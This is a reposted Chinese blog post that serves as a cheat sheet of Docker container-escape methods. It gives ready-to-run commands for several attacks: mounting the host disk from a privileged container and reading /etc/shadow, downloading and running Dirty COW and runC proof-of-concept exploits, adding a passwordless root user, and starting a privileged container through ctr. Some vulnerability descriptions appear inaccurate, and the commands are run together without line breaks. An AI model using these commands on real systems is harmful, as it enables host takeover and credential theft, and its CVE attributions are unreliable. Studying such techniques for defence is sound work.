文章总结: 本文档介绍了Docker容器逃逸的常见方法,包括利用特权模式挂载宿主机根目录、DirtyCOW与eBPF等内核漏洞利用、以及runC和Containerd组件漏洞攻击。内容涵盖原理分析与具体执行命令,为容器安全防护提供了技术参考。 综合评分: 85 文章分类: 漏洞POC,漏洞分析,渗透测试,云安全
docker逃逸方法
小白鱼来了 小白鱼来了
Joker One Security
2026年1月31日 22:13 中国台湾
特权容器逃逸
原理:容器启动时添加--privileged=true参数,会获得宿主机的 root 权限,可直接访问宿主机设备文件
在利用特权容器逃逸时先判断该容器是否为特权容器
cat /proc/self/status | grep CapEff
若命令执行结果是0000003fffffffff 或者是 0000001fffffffff 则可以利用特权模式进行逃逸
# 1. 在特权容器内挂载宿主机/proc文件系统(获取设备信息)mount -t proc proc /proc
# 2. 查找宿主机根目录对应的设备(如/dev/sda1)cat /proc/mounts | grep / | head -n1
# 3. 挂载宿主机根目录到容器内mount /dev/sda1 /mnt/host
# 4. 直接访问宿主机文件(如读取/etc/shadow)cat /mnt/host/etc/shadow
利用内核漏洞逃逸
Dirty COW(CVE-2016-5195)
原理:Linux 内核copy-on-write机制漏洞,允许低权限用户修改只读内存页,突破权限限制
# 1. 在容器内编译漏洞利用代码(需gcc环境)wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.cgcc dirtyc0w.c -o dirtyc0w
# 2. 利用漏洞修改宿主机/etc/passwd,添加root用户./dirtyc0w /etc/passwd "hacker::0:0::/root:/bin/bash"
eBPF 漏洞(CVE-2021-3493)
原理:Linux 内核 eBPF 验证机制缺陷,可通过恶意 eBPF 程序执行任意代码
# 1. 下载漏洞利用脚本git clone https://github.com/xdavidhu/cve-2021-3493cd cve-2021-3493
# 2. 编译并执行(需内核版本≤5.11)make./cve-2021-3493
runC 漏洞(CVE-2019-5736)
原理:runC(Docker 容器运行时)漏洞,允许攻击者替换容器内/bin/sh为恶意文件,逃逸到宿主机
# 1. 在容器内执行漏洞利用脚本wget https://raw.githubusercontent.com/Frichetten/CVE-2019-5736-PoC/master/main.gogo run main.go
# 2. 脚本执行后,宿主机将执行指定命令(如反弹Shell)
Containerd 逃逸(CVE-2022-24769)
原理:Containerd 的ctr工具权限配置不当,可通过ctr命令创建特权容器
# 1. 在容器内执行ctr命令(若宿主机containerd暴露套接字)ctr -n moby run --rm -t --privileged -v /:/mnt/host alpine sh
# 2. 直接访问宿主机文件cat /mnt/host/etc/shadow
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Joker One Security 小白鱼来了 小白鱼来了《docker逃逸方法》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论